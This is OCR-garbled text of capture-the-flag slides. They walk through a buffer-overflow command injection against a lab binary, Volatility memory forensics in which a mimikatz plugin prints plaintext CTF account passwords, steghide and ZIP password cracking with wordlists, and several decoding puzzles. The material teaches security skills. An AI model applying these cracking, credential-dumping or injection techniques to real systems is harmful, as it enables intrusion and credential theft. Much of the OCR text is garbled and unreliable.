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Capture the flag

¢ Binary Exploit

e Cryptography & Steganography
e Forensic

e Misc & Scripting

e Web Application
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Buffer Overflow Command Injection

e~$ ./buf32
hat is your name?
Sam
Name is at O0xffcdc580; command is at Oxffcdc5a8

Goodbye, Sam!
Executing command: date
ed Jul 17 09:17:46 UTC 2019

s ~S n
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Buffer Overflow Command Injection

@ D @ ssh.cloud.google.com
GNU nano 2.7.4 File: buf.c Modified
®

» <string.h>
» <stdio.h>
<stdlib.h>

*name, *cmd) {
c[40], n[40];
printf ("Name is at %p; command is at %p\n", n, c);
strcpy(c, cmd);
strcpy (n, name);
printf ("Goodbye, %s!\n", n);
printf ("Executing command: %s\n", c);
fflush (stdout) ;
system(c) ;

main () {
name [200] ;
printf ("What is your name?\n");
scanf ("%s", name) ;
bo (name, "date");

Read File

e Get Help Write Out Where Is Cut Text [ Justify

i\ Replace 8Y Uncut Text @ To Spell
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Buffer Overflow Command Injection

:~S . /buf32

Name is at Oxfff2fe60; command is at Oxfff2fe88

Goodbye,

Executing command: AAAAAAAAAA
sh: 1: AAAAAAAAAA: not found

:~$ |




Buffer Overflow Command Injection

:~$ ./buf32
hat is your name?
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD1 s
Name is at Oxffabb6el; command is at Oxffabb708
Goodbye, AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDls!
Executing command: 1ls
DuEtERbuE3ZEebuErc

:~$ D

s~S ./buf32
What is your name?
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD1ls -1
Name is at OxffeadfcO; command is at Oxffeadfe8
Goodbye, AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDls'!
Executing command: 1s
buf buf32 buf.c

:~$
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Buffer Overflow Command Injection

:~$ ./buf32

hat is your name?
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD] s i
Name is at 0xff9b6010; command is at O0xff9b6038
Goodbye, AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDI s
Executing command: l1lsil

total 28

-rwxr-xr-x 1 cnit 50sam2 cnit 50sam2 8976 Jul 17 09:14 buf

-rwxr-xr-x 1 cnit 50sam2 cnit 50sam2 10148 Jul 17 09:17 buf32

-rw-r--r-- 1 cnit_ 50sam2 cnit_ 50sam2 487 Jul 17 09:17 buf.c
1~$




~/lab/BofA]
> & memdump.7z

7-Zip [64] 16.82
p7zip Version 16.82

214907435 bytes

Extracting archive: memdump.7z

Path = memdump.7z

Type = 7z

Physical SizeJi 214907435
Headers Siz 5

Method = LZN

Solid =—

Blocks

Everything is Ok

r Pavlov @ 2016-85-21
on,HugeFiles=on,64 bits,
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-[~/lab/BofA]

= L.py memdump . mem imageinfo

Yolatility Foundation

INFO : volatility.debug
Suggested Profile(s)
I

A

PAE type
DTB
KDEG
Number of Processors
Image Type (Service Pack)
KPCR for CPU @
KUSER_SHARED_DATA
Image date and time
Image local date and time

Determining profile based on KDBG searc
W Plxg4, Win75P@x64, WinZ@@SR25P@=64, WinZ@BBR2ZSP1xb4_ 24000,
Plxb4, Win7SP1lx64 24008, Win7SP1x64 418

Mo PAE
Bx187800L
@xfE0BB2a3911aL
1
1
2aL

105 UTC+0000
105 -0700

dMemory (Kernel AS)
( /home/kali/lab/BofA/memdump . mem)



BofA

I-[~/lab/BofA]
—% Vol memdump . mem
Volatility Foundation Volatility Framework 2.6.1
ThEkEkkkhktidkdkdthkbhtiddkdddhhbtdhkddtbhbddhbddtdddhhbhiiiii
Session(V):
PagedPool
UTC+000a
27 UTC+B088

A

svchos
svCchos
svcho
svCcho
svCchost.
svChost.e:
svCchost
sSVChost .«
spoolsy.
svChost
svchost PA19-a7 UTC+
1152 svchost.ex '@19-8 C UTC+00E
1360 cygrunsrv.exe 2019-@7-26 19:23:34 UTC:0000

2%
23
23
23
=
=
23
23
23
23
23
23
=
S5
23
2%
23
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BofA

bR e o  d  d  uh e
Session(V): fffff880046a1000 ID: 2 Processes: 11
PagedPoolStart: fffff

i
i
i
i
i
i

CHR ¥ B T B I B |

10@0 csrss.exe
5:32 UTC+0000
2 UTC+aaa
B explorer.ex: c 42
1988 taskhost .
1388 redsvr
cmd.exe
744 conhost.exe 20159-@
e 2019-a7
: UTC+g@ao
@6 UTC+Boan
Name :
Mame: dx

Name: framebuf.dll




BofA

= I-[~/lab/BofA]

-5 VD memdump . mem consoles
Volatility Foundation Volatility Framework 2.6.1
EhkkkEkkkhkddbtikdtidktid bbbkt bikthkdd ki kd ik bkt i ikt kb kLR
ConsoleProcess: conhost.exe Pid: 1612
Console: @=xffdd620@ CommandHisto
HistoryBufferCount: 2 HistoryBufferMax: 4
OriginalTitle: -

TiEEes =

CommandHistory: @x2515a@ Application: - Flags: Allocated
CommandCount: @ LastAdded: -1 LastDisplayed: -1
FirstCommand: @ CommandCountMax:

ProcessHandle: @x58

CommandHistory: @x2512f@ Application: cygrunsrv.exe Flags:
CommandCount: @ LastAdded: -1 LastDisplayed: -1
FirstCommand: @ CommandCountMax: 5@
ProcessHandle: @=@
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BofA

@ Application: cmd.exe Flags: Allocated, Reset
@ LastDisplayed: 0
CountMax: 5@

Cmd #0 at 0x22d810: whoamil

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2089 Microsoft Corporation. All rights reserved.

C:\Users\CTF-User-Admin>whoami
ctf-win-7\ctf-user-admin
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~/lab/BofA’
rol memdump . mem
Volatility Foundation Volatility Framework 2.

Virtual Physical Name

ﬂ-mﬂﬂﬂﬂmmﬂl:lld@lﬂ WSystemRoot' em32 \DEFAULT
0@ e Tnﬂ n4mul

:ﬂﬂ@iqﬂlﬂ % ) 61 \REGISTRY\MACHINEA\SYSTEM

RRA531f0 Jul POB271d4 '= \R EEIJTF S\MACHINE\HARDWARE

RB5344189 p \Device\HarddiskVolumel\Boot\BCD
53000549010 p00023f8018 \SystemRoot\Syste '“‘CﬂﬂflghEDF:ﬁ#ﬂE

ad21e1@ 00021127018 EﬁystemﬁﬂaT rste onti yECURITY

8a000d93010 @x B \SystemRoot\
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~/lab/BofA’
ol. memdump . mem printkey
@=TtTt 152000024010 'ControlSet@®l\Control\ComputerName’C
ogmpute '_|'_"..!_:':| £ A

Volatility Foundation Volatility Framework 2.6.1
Legend: (S) = Stable (V) = Volatile

Registry: \REGISTRY\MACHINE\SYSTEM

Key name: ComputerName (S)
Last updated: 2019-@7-26 19:15:19 UTC+Q000

Subkeys:

o
==

=
m rm g
X
(O TR o T
Pe P B

: {(S) mnmsrvc
ComputerName - (S} CTF-WIN-7

b |




BofA

-[~/lab/BofA]

! .p memdump . memn pslist
Volatility Foundation Volatility Framework 2.6.1
Offset(V) Name PID PPID

Hnas Sess Wowe4 Start

4 @
19:23:24 UTC+0000

268 A
19:23:24 UTC+2000

328

JTr+ﬁﬂﬂﬂ
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BofA

archProtocol
B 2019-87-26

L49  exXe
2019-87-26

conhost.exe
@ 2019-87-26

FTK Imager.exe
@ 2019-87-26

-
: @

UTC+@088

1760 1000

49 UTC+0000

2064 248
6

UTC+2006
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BofA

‘~/lab/BofA’

memdump . mem

Volatility Foundation Volatility Framework 2.6.1
Offset(P)
Foreign Address

Created

:
@x34af390

&k

019-07-26 19:34:

@=9daa73@

* ok
2019-07-26

B=9daa73d

* &
2019-07-26

A=15dbad@a

netscan

Proto Local Address

State

Pi1d Owner

UDPv4 127 .8.8.1:65359

3@ UTC+0000

UDPv4 0.0.80.8:53

:33:34 UTC+@000
UDF‘UE\ ik 5355

:33:34 UTC+D@0O
UDPV4

13437 UTC+aaa8
UDPv&

S L
FIT
P B

svCchost.exe
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0:25:38 UTCrARMD
UDPv4 192.168.88,15:1900

115Z svchost.exe

38 UTC+0000
TCPvg B.0.8.8:22
LISTENING
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~/Lab/BofA
"plugins " : Is a directory

I— [~/ Lab/BofA
plugins

~/Llab/BofA
liflab/Bof

[~/Lab/BofA

~/Lab/BofA

83-30 96:05:01—
dfirfpi/hotoloti /master/v

ithubusercontent.
185.199.31131.3133

~/Lab/BofA/plugins ]|
nstruct
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|-[~/1lab/BofA’

memdump .. mem mimikatz

Volatility Foundation Volatility Framework 2.6.1
Module  User Domain Password

CTF-User-Admin CTF-WIN-7 ctfadmin

sshd_server CTF-WIN-7 DArj33ling

CTF-WIN-73% WORKGROUP




S
The Hacker

v
File Edit View Go Help File Edit View Go

L [x] /s

1

.\'

e
m

_;v,’
e

tom.jpg 6000x4000 4.1MB 8.8% 7 N hacker.jpg 1708 x2144 352.5kB 16.5%




The Hacker

— \-[~/Desktop]
—$ exiftool hacker.jpg
ExifTool Version Number
File Name

Directory

File Size

File Modification Date/Time
File Access Date/Time

File Inode Change Date/Time
File Permissions

File Type

File Type Extension

MIME Type

JFIF Version

Resolution Unit

X Resolution

Y Resolution

Profile CMM Type

Profile Version

Profile Class

Color Space Data

Profile Connection Space
Profile Date Time

12 .40
hacker.jpg

344 KiB

.18 92:33:58-04:00
.18 @6: :20-04:00
:18 06:18:20-04:00
-TW-T—T—

JPEG

jpg

image/jpeg

1.81

None

i

1

4.3.0

Display Device Profile
RGB

XYZ

PPOD:00:00 00:00:00
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The Hacker

|-[~/Desktop
ol tom.ijpg
ExlfTool Version Number
File Name
Directory
File Size
File Modification Date/Time
File Access Date/Time
File Inode Change Date/Time
File Permissions
File Type
File Type Extension
MIME Type
JFIF Version
Resolution Unit
X Resolution
Y Resolution
XMP Toolkit
Rights

J LI »

{ S S T L
29 9 -

| S S L
(RS  S N}

Ea8 :33:56-04:00
3:18 @5:33:56-04:00
:18 :33:56-04:00
-Ir'wW-r——r-——
JPEG
ipg
image/jpeg
1 01
ches

in
2
2

Image :: ExifTool 12.40
U3R1Z2Fub2dyYXBoeSBpcyB@aGUgcHIhY3RpY2Ugb2Y

g\’Qu\’VhbGluLvBt7kN7YWdlcnBvc1Akqw5mb3JtYXpr74gd’quGIUIGQGavaIbvanNI&531
dCBkYXRhIGFuZCBpbWFNnZXMuIFRoZSBjYXQgCmhvbGRzIHRoZSBpbmZvemlhdGlvbiB5b3Ugd2 Fud
CwgZm\V1ZCBRaGUgY2FRIGEgdHILYXQedG8gZ2VAIApPaGUgaGlkZGVuUIG1lc3NhZ2Uu

Image Width
Image Height

6000
4000
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Recipe S
From Base64 (V||
Alphabet -

A-Za-z0-9+/=

Remove non-alphabet chars

S

SOSECURE

The Hacker

start: 264
length: 264 -— e
end: 264 : L (1]
Input s T Hnesd 4 =+ =1 |

U3R1Z2Fub2dyYXBoeSBpcyB@aGUgcHIhY3RpY2Ugb2YgY29uY2VhbGluZyBtZXNzYWd LcyBvciAKaWsmb3JtYXRpb24gd210aG
1uIG90aGVyIG5vbnN1Y3J1dCBkYXRhIGFUuZCBpbWFNZXMuIFR0ZSBjYXQgCmhvbGRzIHR0oZSBpbmZvemlhdGlvbiB5b3Ugd2Fu
dCwgZmV1ZCBPaGUgY2FOIGEgdHI1YXQgd68gZ2VeTIAp@aGUgaGlkZGVuIGl1c3NhzZ2Uu

| ]
start: 198 time: 4ms
tput end: 198  length: 198 |_ 53] o2
Ou pu length: @ lines: 4 a D -

Steganography is the practice of concealing messages or
information within other nonsecret data and images. The cat
holds the information you want, feed the cat a treat to get

the hidden message.
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The Hacker

\-[~/Desktop]
steghide info tom. jpg
"tom. jpg":
format: jpeg
capacity: 245.6 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:

steghide: could not extract any data with that passphrase!

Google brute force password steghide

https:/(github.com T :
¥ Paradoxis/StegCracker: Steganography brute-force utility to ...
Steganography brute-force utility to uncover hidden data inside files - GitHub ... password,
Line, Stegseek v0.4, Stegcracker 2.0.9, Stegbrute v0.1.1 (-t 8) ...

https://github.com » g

¥ \Va5c0/Steghide-Brute-Force-Tool - GitHub

Steghide Brute Force Tool. Execute a brute force attack with Steghide to file with hide
information and password established. - How it work. Cloning this repo to ...

https://www.kali.org

¥ stegcracker | Kali Linux Tools

BE — StegCracker is steganography brute-force utility to uncover hidden data
Installed size: 51 KB How to install: sudo apt install ...




The Hacker

|- ~/Desktop
stegcracker tom.jpg
StegCracker 2.1.@0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2022 - Luke Paris (Paradoxis)

StegCracker has been retired following the release of StegSeek, which
will blast through the rockyou.txt wordlist within 1.9 second as opposed
to StegCracker which takes ~5 hours.

StegSeek can be found at: https://github.com/RickdeJager/stegseek

No wordlist was specified, using default rockyou.txt wordlist.

Counting lines in wordlist..

Attacking file '"tom.jpg' with wordlist '/usr/share/wordlists/rockyou.txt
Successfully cracked file with password: leandra

Tried 18191 passwords

Your file has been written to: tom.jpg.out

leandra

S
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The Hacker

File Edit View Go Help

testjpg 1708 x 2144



Google

The Hacker

analyze image steganography

https://Oxrick.github.io » lists »

¥ Steganography - A list of useful tools and resources - OxRick's ...

Jan 25, 2562 BE — Steghide is a steganography program that hides data in various kinds of
image and audio files , only supports these file formats : JPEG, ...
You visited this page on 3/15/22.

L]
sy
OxRick

Q Somewhere between 1'

A Home Page
B Twitter

€ Github

Stegsolve

Sometimes there is a message or a text hidden in the image itself and in order to view it you need to
apply some color filters or play with the color levels. You can do it with GIMP or Photoshop or any
other image editing software but stegsolve made it easier. it's a small java tool that applies many
color filters on images. Personally i find it very useful.

You can get it from github

Strings

Strings is a linux tool that displays printable strings in a file. That simple tool can be very helpful

S
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The Hacker

\-[~/Desktop]

tom. jpg.out test.jpg

— |-[~/Tools/bin]
L-$ java stegsolve. jar
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

File Analyse Help

< >

S
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The Hacker

File | Analyse | Help
Norm| File Format

Data Extract
Stereogram Solver
Frame Browser
Image Combiner




The Hacker

< > Save
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Am e BORE SesEF $|,

S
John EES

@ @ @ T

N tep.stream eq 0 [e -]+
No. Time Source Destination Protocol ' Lengtt Info
- 1 0.000000 192.30.252.154 192.30.252.154 TCP 74 39559 - 80 [SYN] Seq=0 Win=43690 Len=0 M55=65495 SACK_PERM=1 TSval=7461006 TSecr=0 W5=128
2 0.000021 192.30.252.154 192.30.252.154 TCP 74 80 - 39559 [SYN, ACK] Seq=0 Ack=1 Win=43690@ Len=0 MSS=65495 SACK_PERM=1 TSval=7461006 TSecr=7461006 WS=..
3 0.000037 192.30.252.154 192.30.252.154 TCP 66 39559 - 80 [ACK] Seq=1 Ack=1 Win=43776 Len=@ TSval=7461006 TSecr=7461006
4 0.838578 192.30.252.154 192.30.252.154 HTTP 409 GET / HTTP/1.1
5 0.038611 192.30.252.154 192.30.252.154 TCP 66 80 - 39559 [ACK] Seq=1 Ack=344 Win=44800 Len=0 TSval=7461016 TSecr=7461015
6 0.039639 192.30.252.154 192.30.252.154 HTTP 3248 HTTP/1.1 200 0K (text/html)
7 ©.039646 192.30.252.154 192.30.252.154 TCP 66 39559 - 80 [ACK] Seq=344 Ack=3183 Win=174720 Len=0 TSval=7461016 TSecr=7461016
8 0.250995 192.30.252.154 192.30.252.154 HTTP 414 GET /css/bootstrap.min.css HTTP/1.1
44 0.257483 192.30.252.154 192.30.252.154 HTTP 196.. HTTP/1.1 200 OK (text/css)
45 0.257495 192.30.252.154 192.30.252.154 TCP 66 39559 - 80 [ACK] Seq=692 Ack=22730 Win=385664 Len=@ TSval=7461070 TSecr=7461070
46 9.257699 192.30.252.154 192.30.252.154 HTTP 388 GET /js/demo.js HTTP/1.1
49 0.258153 192.30.252.154 192.30.252.154 HTTP 1945 HTTP/1.1 200 OK (application/javascript)
67 0.294740 192.30.252.154 192.30.252.154 TCP 66 39559 - 80 [ACK] Seq=1014 Ack=24609 Win=436608 Len=0 TSval=7461080 TSecr=7461070
72 9.331650 192.30.252.154 192.30.252.154 HTTP 390 GET /js/jquery.js HTTP/1.1
0.344156 192.30.252.154 . - HTTP/1.1 208 OK (application/javascript)
89 0.344175 192.30.252.154 192.30.252.154 TCP 66 39559 - 80 [ACK] Seq=1338 Ack=58186 Win=465536 Len=0 TSval=7461092 TSecr=7461092
115 5.349289 192.30.252.154 192.30.252.154 TCP 66 80 - 39559 [FIN, ACK] Seq=58186 Ack=1338 Win=48000 Len=0 TSval=7462343 TSecr=7461092
116 5.349448 192.30.252.154 192.30.252.154 TCP 66 39559 - 80 [FIN, ACK] Seq=1338 Ack=58187 Win=465536 Len=0 TSval=7462343 TSecr=7462343
~ 117 5.349461 192.30.252.154 192.30.252.154 TCcP 66 80 - 39559 [ACK] Seq=58187 Ack=1339 Win=48000 Len=0 TSval=7462343 TSecr=7462343

Frame 88: 33643 bytes on wire (269144 bits), 33643 bytes captured (269144 bits)

> Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
Internet Protocol Version 4, Src: 192.30.252.154, Dst: 192.30.252.154
Transmission Control Protocol, Src Port: 8@, Dst Port: 39559, Seq: 24609, Ack: 1338, Len: 33577

Media Type

2000 00 00 00 00 00 00 00 00 00 00 @0 00 08 00 45 00 R -1
0010 83 5d 9e e3 40 00 40 06 9f 44 cb le fc 9a c0 1le ] @@ ‘D--- -
@620 fc 9a 00 50 9a 87 98 c1 a6 67 cl1 a@ 2a c5 80 18 sraPrres afer

2020 81 77 ce c2 00 26 01 @1 08 @a @0 71 d8 e4 00 71 L sl s |
0040 d8 el 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f - -HTTP/1 .1 200 O
0050 4b od 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 32 3@ K--Date: Mon, 20
@060 20 41 70 72 2@ 32 30 31 35 20 31 34 3a 34 35 3a Apr 201 5 14:45:
@070 34 35 20 47 4d 54 @d @a 53 65 72 76 65 72 3a 20 45 GMT-- Server:

2680 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44  Apache/2 .4.10 (D
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Frame 6: 3248 bytes on wire (25984 bits), 3248 bytes captured (25984 bits)
Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 90:00:00_00:00:00 (00:00:00:00:00:00)
Internet Protocol Version 4, Src: 192.30.252.154, Dst: 192.30.252.154

0000
0019
0020
0030
0040
0050
0060
0070
0080

Transmission Control

sfer Pi
ns fi )

20
az2
9a
Se
97
ed
41
35
70

00 00
40 00
9a 87
00 00
54 50
61 74
20 32
4d 54
68 65

20
40
98
01
2f
65
30
od
2f

ine-based txt data: texlhtml (194 lines)

45
c0

1]
20
32
35
3a
28

Protocol, Src Port: 80, Dst Port: 39559, Seq: 1, Ack: 344, Len: 3182

=
@R e
Peocn FGro&ro-

Zeier aaaqeeng
< *HTTP/1 .1 200 0
K- -Date: Mon, 20
Apr 201 5 14:45:
45 GMT- - Server:
Apache/2 .4.10 (D

Open ®0 M john-in-the-middle.pcap
en Recent > o =ifl=§
et ResEg s Eaaaqrl
Import from Hex Dump... — ———————— E] i
' Close W Destination Protocol | Lengtt Info
192.30.252.154 TCP 74 39559 - 8@ [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=7461006 TSecr=0 WS=128
Save ®S 192.30.252.154 TCP 74 80 - 39559 [SYN, ACK] Seq=0 Ack=1 Win=43690@ Len=0 MSS=65495 SACK_PERM=1 TSval=7461006 TSecr=7461006 WS=..
G oS 192.30.252.154 TCP 66 39559 - 8@ [ACK] Seg=1 Ack=1 Win=43776 Len=0 TSval=7461006 TSecr=7461006
192.30.252.154 HTTP 409 GET / HTTP/1.1
File Set > 192.30.252.154 TCP 66 80 - 39559 [ACK] Seq=1 Ack=344 Win=44800 Len=0 TSval=7461016 TSecr=7461015
192.30.252.154 HTTP 3248 HTTP/1.1 200 OK (text/html)
Export Specified Packets... 192.30.252.154 TCP 66 39559 - 8@ [ACK] Seq=344 Ack=3183 Win=174720 Len=@ TSval=7461016 TSecr=7461016
Export Packet Dissections > 192.30.252.154 HTTP 414 GET /css/bootstrap.min.css HTTP/1.1
= 192.30.252.154 HTTP 196.. HTTP/1.1 200 OK (text/css)
BRI Fectat By e bt 192.30.252.154 TCP 66 39559 - 80 [ACK] Seq=692 Ack=22730 Win=305664 Len=@ TSval=7461070 TSecr=7461070
Export PDUs to File... 192.30.252.154 HTTP 388 GET /js/demo.js HTTP/1.1
Export TLS Session Keys... 192.30.252.154 HTTP 1945 HTTP/1.1 200 OK (application/javascript)
Export Objects > Dicom.. 252.154 TCP 66 39559 - 80 [ACK] Seq=1014 Ack=24609 Win=436608 Len=0 TSval=7461080 TSecr=7461070
prE=— 252.154 HTTP 390 GET /js/jquery.js HTTP/1.1
Print... ®P W 252.154 HTTP 336.. HTTP/1.1 200 OK (application/javascript)
89 wv.owarsd AYE.D0. LI 109 IMF... 252.154 TCP 66 39559 - 80 [ACK] Seq=1338 Ack=58186 Win=465536 Len=0 TSval=7461092 TSecr=7461092
115 5.349289 192.30.252.154 SMB... 252.154 TCP 66 80 - 39559 [FIN, ACK] Seq=58186 Ack=1338 Win=48000 Len=0 TSval=7462343 TSecr=7461092
116 5.349448 192.30.252.154 TETP.. 252.154 TCP 66 39559 - 8@ [FIN, ACK] Seq=1338 Ack=58187 Win=465536 Len=0 TSval=7462343 TSecr=7462343
117 5.349461 192.30.252.154 1vzvou. 252.154 TCP 66 80 - 39559 [ACK] Seq=58187 Ack=1339 Win=48000 Len=0 TSval=7462343 TSecr=7462343
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00000000 :
00000010 :
00000020:
00000030
00000040 :
00000050 :
00000060 :
00000070 :
00000080 :
00000090 :
00Q000a0:
0P00e0DbA :
000000cO:
000000d0 :

Garbage

$ more garbage

504b
ef86
6372
5c6d
0000
abZe
e56
0000
0000
Q000
8100
5405
6101515]
Q001

0304
2300
6574
6f1b
0000
196e
e98c
0017
00e5
000a
0000
0003
0400
0050

0aoo
Q000
2e74
heh
8%ed
20f4
26b1
0000
2b94
0018
0073
6d6f
0000
0000

0000
0000
5554
0001
8ba3
fbes
4b@7
4b01
6fef
0000
7265
7578
4b@5
0000

e52b
@aon
0900
Q400
91b4
096C
08d6
021e
8623
0001
T42e
Obood
0600
0000

944d

1c@@ 73
@36d 6f1l

0000
8e10

ed4e B
ofef 86,
030a 00¢
0000

0000
7478
0104
0000
00

0000
0001

T se
cret.txtUT ... mo.
NN AU s s n e e sss

S
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Garbage

$ xxd -r garbage garbage.zip
$ file garbage.zip
garbage.zip: Zip archive data, at least v1.® to extract

$ unzip garbage.zip
Archive: garbage.zip
[garbage.zip] secret.txt password:
password incorrect--reenter:




Garbage

$ sudo zip2john garba
sword for kali:
5455 efh 7875 garbage.zip/secret.txt PKZIP Encr:
CPDLEH—LJ, Crcs=

=T}

o m

<1

1Ge a3291Uo
:garbage.zip

(A1

$ sudo john —format=PKZIP —wordlist=/
directory-list-1.0.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press "q' or Ctrl-C to abort, almost any other key for
hacker_crackdown (garbage.zip/secret.txt)
1g 0:00:00:00 DONE (2020-11-28 18:11) 7.692¢/s 283569p/
a_Naples .. tresor

Use the "—show” option to display all of the cracked passwords reliably

Session completed

C/s Florid

S
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Garbage

$ grep -n hacker_crackdown /home/kali/.ZAP/fuzzers/dirbuster/directory-1
ist-1.0.txt

$ wc -1 /home/kali/.ZAP/fuzzers/dirbuster/directory-list-1.0.txt
141713 /home/kali/.ZAP/fuzzers/dirbuster/directory-list-1.0.txt
y

$ unzip garbage.zip
Archive: garbage.zip
[garbage.zip] secret.txt password:
extracting: secret.txt
$ more secret.txt

|
=
|




SOSECURE

Miscellaneous

#/usr/bin/env bash

while [ -e 2zip |; do
files=*zip;
for file in Sfiles; do
echo -n "Cracking ${file]... 5
output="$(fcrackzip -u -l 1-6 -c "1" *zip | tr -d \n)3
password="5{output/PASSWORD FOUND\N\N: pw == /17
if [ -z "${password}_]; then
echo “Failed to find password;
break 2;
fi;
echo *Found password: \'${password]\'";
unzip -q -P "${password}" "$file;
rm "${file}”;

done;




Miscellaneous

-54-48- - Click to Start Monitoring B -12

54 -A8 -42 -36 -30 -24- -18 -12 -6 0

Stereo, 22050Hz| g
32-bit float

A Select |

S
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Miscellaneous

- Click to Start Monitoring B -12
54 -48 -42 -36 -30 -24 -18

A~ @8 2QQ

00h00mO0O.000s%[00h00MOD.000S™ OOhOOmOO 57
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Miscellaneous

-54 -48 - Click to Start Monitoring B -12 -6 0

54 48 42 36 30 24 18 12 6 0

DR S e —

Stereo, 22050Hz
32-bit float

| Project Rate (Hz) Snap-To

°
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Warp speed




Warp speed

Workspace
File

I.. B .Adob - Open Files

U

D1 F4
00 04 00 3F

0
02 06 09 75
08 31 14
52 71 R1 1R +ARAr
Template Results - JPG.bt & | 4
Name i Color Comment Inspector
OlMarker ] Value
Binary 00000001
ned Byte 1
1
307
enum M_ID marker M_SOF0 (FFCOh) 6E 2 g r 62465
WORD

ubyte p

Jct COMPS comp(3]

no
Output

IGELE
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Excel

® /home/kali/Desktop/Excel
file password
password: Java serialization data, version 5

® /home/kali/Desktop/Excel

: password
QDRORR0A :

« s «s«5F .. Java.lan
Q000001@: g.Lo I
00000020 " .J..valuexr.. jav
00000030: a.lang.Number ...
0D0O0BL4A: ey e e e | [
0000005@:
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Excel

import java.io.¥;

public class ObjectinputStreamDemo {
public static void main(String[] args) {
try {
// create an ObjectinputStream for the file we created before

ObjectinputStream ois = new ObjectinputStream(new FilelnputStream("password™));

// read and print an object and cast it as string
System.out.println(™ + (Long) ois.readObject());
} catch (Exception ex) {

ex.printStackTrace();
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Excel

.. /home/kali/Desktop/Excel
c ObjectInputStreamDemo. java

® /home/kali/Desktop/Excel
Jjava ObjectInputStreamDemo
1434978865

® /home/kali/Desktop/Excel
zip the-way-to-go.zip
Archive: the-way-to-go.zip
[the-way-to-go.zip] the-way-to-go.txt password:

extracting: the-way-to-go.txt

@ /home/kali/Desktop/Excel
1s

total 28
drwxr-xr-x 2 root
drwxr-xr-x 20 kali
-TW-T—T-- root
-TW-T—T— root
-TW-T—T— kali
-TW-T—T— root
-TW-T—T-— kali

11:08

11:@8

11:83 ObjectInputStreamDemo.class
11:@3 ObjectInputStreamDemo. java
16:25 password

10:19 the-way-to-go.txt

10:24

Mar
Mar
Mar
Mar
Mar
Mar
Mar

=
AN S

S WIS WO\W
S WA N 0O W h
W oW W

N NwWwe oo

W
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Excel

® /home/kali/Desktop/Excel
the-way-to-go.txt

https://docs.google.com/spreadsheets/d/1fn60bc28zsH2dqBywaY49cFH3NafBIWjUn9bgMohCMo/edit#gid=0

Meoww of Pi S

L . o 4 s , a
ll‘lﬂ llﬁ]l] VJ ﬂ!]l‘lﬂ INT04H0D ANUDIVLHAD

5 v o - (NS

Al - Digit

A B

: Frequency
999440
999333

1000306
999964

1001093

1000466
999337

1000207
999814

1000040

J

O 00 ~N O e w NP O

1000 unidmdn



SOSECURE

Excel

msdadmytomaoiiae

lamssasduTisunsudmuing

Ailwdmiummodfudnesmaduaslsmannginmimin @

O ienmsasfudnnusad
Tsnuldfuavianridnwsnnadaoyanaiam

lalssmad it miu
Tufayal ﬁaiuijn wilauazilalidnoigm

piayatitnin
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Excel

Meoww of Pi &

Tod utle q wosn il fioya wiaadla  dwons anudwmda  mIsmudafan
= Y - 100% ~ ERONGHIFEIEES 4t dwaantdvadwliunsudmnine -
A2 v =ARRAYFORMULA(Source!A:8) E] amudain -
A B
B Tiida
1 |Digit | Frequency
5 I:I e ‘g Tedaiunmadaailo
3 1 999333 nijn .
4 2 1000306 i o
5 3 999964 8 winsilaidandatioya -
[ 4 1001093
7 5 1000466
8 6 999337
9 7 1000207
10 8 999814
11 L] 1000040

1000 umitdman



Source!AZ|

Meoww of Pi

Td uile g

Y

Al

faya ntasfla

A B [+
N —

1000306
999964
1001093
1000466
999337
1000207
999814
1000040

@@ NN R WN

wimmda  animmdafm

999333 MUps/Miogs 585 COMVComentimIR01SA3/]1 2 f-pi himl

difacfonstalml..

Maoww of Pi ~

Source -

Excel

flag

flagfhidden_flag|

excel}

T 1

A

S
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shades of redpwn
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shades of redpwn
@" ¢
@ @

R w6 T b R i b e B
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shades of redpwn

= o length: 65 ==
Recipe B E  npu Vioe: + Ozl =
86 90 81 87 a3 83 40 41 40 96 7b 41 97 7b 91 44 87 41 83 44 41
From Hex O
a5
Delimiter
Auto
a
time: 2ms
length: 22 I ol
Quiput ?Eﬁes: 1 a D m
.ae.£.0AQ. {A.{.D.A.DA¥




shades of redpwn

main.py ol & Ilallll

1

2

3
4

a = "86 90 81 87 a3 83 40 41 40 96 7b 41 97 7b 91 44 87
41 83 44 41 a5".split()

for i in a:
print(int(i, 12))

Shell

102
108
97
103
123
99
48
49
48
114
95
49
115
95
109
52
103
49
99
52
49
125

S
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£ decimal asc

102 108 97 flag{c@10r_1s_m4glc41}

Import from Copy to
file clipboard

Chain with... Save as...

Copy to
clipboard

S
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Rabbit

—— |- ~/Desktop]
—$ cat flag.txt

BZhOLAYGSYOV 0000000000000 0000000000000000000000000000000050]00000070N1000000
jeem_;eeyeseeGece[[wrlecey{eeseceze " veeSecooehoye]eleleCecelen’

nieelieeey=oee

0B0A20q0[_[0;(yt#o[b#t;Oet}EOAOOOYOOOOQO{O'JO]mOOhU
W7eewW7{eeseee[leczoce{ee]e
ooog&o]0060@000}EOQUKokoﬂokoooooo[000¢¢¢¢]o}:o}bbooww0¢QQW¢¢,¢{¢zg_[o¢¢¢}¢¢5v
sosfleelecnTeSees oy lelveveneneessoyecesessssssvees kieseTovveee oo [eKe;0e]lr
¢{eeeqeene|Delecesse)veeeie=SH};eelyesessee | wee{eloyseenwveseseses k] ;eeeez
¢¢¢¢¢ﬁ§¢uoowooooozoo¢¢moowﬁo}00¢0¢¢§ox¢wooOWoo_}¢5j{coovooocomoo{ooo>¢J¢}¢}¢m
